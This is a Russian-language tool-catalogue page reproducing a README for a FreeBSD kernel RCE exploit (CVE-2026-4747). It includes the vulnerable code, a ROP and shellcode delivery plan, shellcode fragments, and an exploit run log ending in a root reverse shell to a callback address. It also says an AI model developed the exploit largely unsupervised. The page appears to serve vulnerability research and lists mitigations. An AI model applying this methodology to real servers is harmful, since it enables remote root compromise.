Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4747 — Удалённый эксплойт RCE для ядра FreeBSD CVE-2026-4747, переполнение буфера стека в kgssapi.ko, приводящее к получению root-оболочки через ROP-цепочку и шеллкод. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2026-4747
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubkaleth4/cve-2026-4747

CVE-2026-4747

Удалённый эксплойт RCE для ядра FreeBSD CVE-2026-4747, переполнение буфера стека в kgssapi.ko, приводящее к получению root-оболочки через ROP-цепочку и шеллкод.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
root@kitploit:~
  ____ __     ______       ____   ___ ____   __          _  _____ _  _  ___ 
 / ___/\ \   / / ___|     |___ \ / _ \___ \  \ \        | ||___  | || ||__ \
| |    \ \ / /| |    ___    __) | | | |__) |  \ \   _   | |   / /| || |_  ) |
| |___  \ V /  | |___|___| / __/| |_| / __/    \ \ | |__| |  / / |__   _|/ / 
 \____|  \_/   \____|    |_____|\___/_____|    \_\ \____/  /_/      |_||___|

CVE-2026-4747 — Удалённое выполнение кода в ядре FreeBSD

Переполнение буфера в стеке в kgssapi.ko → root shell примерно за 4 часа

CVE CVSS Type OS

Status
AI

«Первый эксплойт удалённого RCE в ядре, обнаруженный и разработанный ИИ. Общее время: ~4 часа реальной работы.»

— Обнаружено Николасом Карлини с использованием Claude (Anthropic) · Опубликовано 26 марта 2026


Содержание

  • Описание
  • Хронология
  • Технический анализ уязвимости
  • Методология эксплуатации
  • Эксплойт в действии
  • Настройка уязвимого окружения
  • Митигирование
  • Заключение
  • Дисклеймер

📋 Описание

CVE-2026-4747 — это уязвимость переполнения буфера в стеке (stack buffer overflow), расположенная в kgssapi.ko, модуле ядра FreeBSD, реализующем аутентификацию RPCSEC_GSS для NFS.

Функция svc_rpc_gss_validate() копирует тело учётных данных (credential body), контролируемое атакующим, в буфер размером 128 байт в стеке (rpchdr[]) без проверки размера. Поскольку 32 байта уже заняты полями RPC-заголовка, остаётся только 96 свободных байт — но уровень XDR допускает учётные данные размером до 400 байт, что даёт 304 байта переполнения.

Технические данные

ПолеЗначение
CVE IDCVE-2026-4747
CWECWE-121 (переполнение буфера в стеке)
Компонентkgssapi.ko / librpcgss_sec
ПротоколNFS / RPCSEC_GSS / Kerberos
Требуемые привилегииДействительный билет Kerberos (низкие привилегии)
ВоздействиеУдалённое выполнение кода в ядре → uid 0
CVSS9.8 Critical
ИсправленоFreeBSD-SA-26:08.rpcsec_gss

📅 Хронология

root@kitploit:~
26 марта 2026 ── FreeBSD публикует FreeBSD-SA-26:08.rpcsec_gss
               Автор: "Nicholas Carlini using Claude, Anthropic"

29 марта 2026 ── 09:45 PDT: Claude получает запрос на разработку эксплойта
               05:00 PDT: Claude предоставляет работающий root shell

               Итого: ~7 часов реального времени / ~4 часа реальной работы Claude
               Человек большую часть процесса был AFK.

🔬 Технический анализ уязвимости

Переполнение

root@kitploit:~
/* В svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128];  /* Буфер в стеке */

/* 32 байта уже заняты полями RPC-заголовка */
/* Остаётся только 96 свободных байт        */

/* XDR допускает учётные данные до 400 байт */
/* 400 - 96 = 304 байта переполнения → перехват RIP */
memcpy(rpchdr, credential_body, credential_len);  /* ← ОШИБКА: размер не проверяется */

Почему это эксплуатируемо без митигаций

В FreeBSD 14.x отсутствуют:

  • KASLR — адреса ядра фиксированы и предсказуемы
  • Stack canaries для целочисленных массивов (int32_t[])

Это делает переполнение → контроль RIP прямым.

Путь эксплуатации

root@kitploit:~
Атакующий (сеть)
    │
    │  Действительный билет Kerberos для nfs/target@REALM
    │
    ▼
NFS Server (порт 2049/TCP)
    │
    │  RPCSEC_GSS запрос с credential_len = 400
    │
    ▼
svc_rpc_gss_validate() ← кольцо ядра 0
    │
    │  memcpy без проверки размера
    │  [128 байт буфера + 304 байта переполнения]
    │
    ▼
Разрушение стека → управляемый RIP → ROP-цепочка → шеллкод
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell

⚔️ Методология эксплуатации

Claude решил 6 различных задач, чтобы пройти путь от advisory до root shell:

Шаг 0: Настройка лаборатории

root@kitploit:~
# VM FreeBSD 14.4-RELEASE с:
# - 2+ CPU (FreeBSD порождает 8 NFS-потоков на CPU; эксплойту нужно 15 раундов)
# - загруженным kgssapi.ko
# - активным NFS на порту 2049
# - настроенным MIT Kerberos KDC (требуется для достижения уязвимого кода)
# - QEMU port forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# Критичная конфигурация Kerberos на атакующем:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # Без этого: билет для nfs/localhost@REALM (неверно)
    dns_canonicalize_hostname = false   # Сервер отклоняет с KRB5KRB_AP_WRONG_PRINC

Шаг 1: Мультипакетная стратегия (цикл поэтапной записи)

Шеллкод занимает 432 байта, но на ROP-цепочку доступно только 200 байт на пакет.

root@kitploit:~
Раунд  1:  ROP → pmap_change_prot(BSS, RWX)     ← сделать BSS исполняемым
Раунды 2-14: ROP → запись 32 байт шеллкода в BSS (4 записи × 8 байт)
Раунд 15: ROP → запись последних байт + JUMP на шеллкод

Бюджет на раунд: 4 записи × 40 байт = 160 байт + 24 байта exit = 184 байта ✓ (< 200)

Шаг 2: Чистый выход из потоков

root@kitploit:~
; Каждый раунд завершается kthread_exit(0) вместо обычного возврата
; Сервер не падает — просто теряет один NFS-поток
; С 2 CPU: 16 доступных потоков → достаточно для 15 раундов

Шаг 3: Отладка смещения с помощью Де Брейна

root@kitploit:~
# Последовательность Де Брейна → каждая подстрока из 8 байт уникальна
# Отправить как credential body → ядро падает → прочитать RIP из crash dump
# Дизассемблирование показывало смещение 168 → реально: 200 байт
# Разница: 32 байта GSS-заголовка, которые статический анализ не учёл

pattern = cyclic(400)  # Де Брейн из 400 байт
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

Шаг 4: Переход из ядра в userland

Шеллкод выполняется в чистом NFS-потоке ядра — без vmspace, без trapframe.

root@kitploit:~
/* Фаза 1 (в шеллкоде захваченного NFS-потока): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* Чисто убить NFS-поток */

/* Фаза 2 (в новом процессе): */
/* 1. Очистить debug registers (аппаратный баг — см. Шаг 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. Выполнить /bin/sh */
kern_execve("/bin/sh", args, envp);

/* 3. КРИТИЧНО: Очистить флаг P_KPROC */
/* Без этого fork_exit() вызовет kthread_exit() и убьёт процесс */
proc->p_flag &= ~P_KPROC;

/* 4. Возврат → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */

Шаг 5: Аппаратный баг — Debug Registers (DR7)

root@kitploit:~
Симптом: Дочерний процесс падает с trap 1 (debug exception) на валидной инструкции.
Причина: kproc_create/fork1 копирует PCB родителя, наследуя брейкпоинты DDB,
         оставшиеся от предыдущих падений во время разработки эксплойта.

Исправление: Две инструкции перед kproc_create:
  xor eax, eax
  mov dr7, rax    ← Отключает все аппаратные брейкпоинты

🖥️ Эксплойт в действии

root@kitploit:~
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE → JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🧪 Настройка уязвимого окружения

QEMU (рекомендуется для отладки с GDB)

root@kitploit:~
# Скачать FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# Создать диск и запустить VM с 2+ CPU
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 2+ CPU для 16+ NFS-потоков
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # Лог для чтения crash dump
root@kitploit:~
# Внутри FreeBSD: настроить NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# Базовая настройка KDC
pkg install heimdal
# Создать principals: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

VMware (альтернатива без KDC tunnel)

root@kitploit:~
1. Установить FreeBSD 14.4-RELEASE в VMware
2. В Network Adapter: выбрать "NAT" или "Host-only"
3. Настроить port forwarding в VMware NAT:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. Та же настройка NFS/Kerberos, что и в QEMU
5. В /etc/krb5.conf атакующего:
   kdc = 127.0.0.1:88   (указывает на port forward)

🛡️ Митигирование

Немедленное исправление

root@kitploit:~
# Обновить FreeBSD до исправленной версии
freebsd-update fetch install

# Проверить, что advisory исправлен
freebsd-version -k  # Должна показывать версию после SA-26:08

Альтернативные митигации

root@kitploit:~
# 1. Отключить kgssapi, если RPCSEC_GSS не нужен
kldunload kgssapi
# В /boot/loader.conf:
# kgssapi_load="NO"

# 2. Ограничить доступ к NFS файрволом
ipfw add deny tcp from any to any 2049 not via lo0
# Или с pf:
# block in quick on em0 proto tcp to port 2049

# 3. Требовать аутентификацию Kerberos только с доверенных IP
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0

🏁 Заключение

Компьютеры десятилетиями находят баги с помощью фаззеров. Но найти баг и эксплуатировать его — совершенно разные вещи. Разработка эксплойтов требует понимания ядра, построения ROP-цепочек, работы с раскладкой памяти, отладки падений и адаптации, когда что-то идёт не так.

Это всегда считалось исключительной территорией людей.

CVE-2026-4747 доказывает, что эта линия сдвинулась.

Claude автономно решил 6 задач разработки эксплойтов для ядра примерно за 4 часа: настройка лаборатории, мультипакетная доставка, чистый выход из потоков, отладка смещений, переход из ядра в userland и недокументированный баг аппаратных брейкпоинтов. Два рабочих эксплойта с разными стратегиями. Оба сработали с первой попытки.


⚠️ Дисклеймер

Этот репозиторий предназначен исключительно для исследований в области кибербезопасности, технической документации и образовательных целей. Описанный здесь эксплойт был разработан в контролируемой среде и ответственно сообщён мейнтейнерам FreeBSD до публикации. Не использовать против систем без явного письменного разрешения. Автор не несёт ответственности за неправомерное использование.


Оригинальный кредит: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss

Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0

Скачать инструмент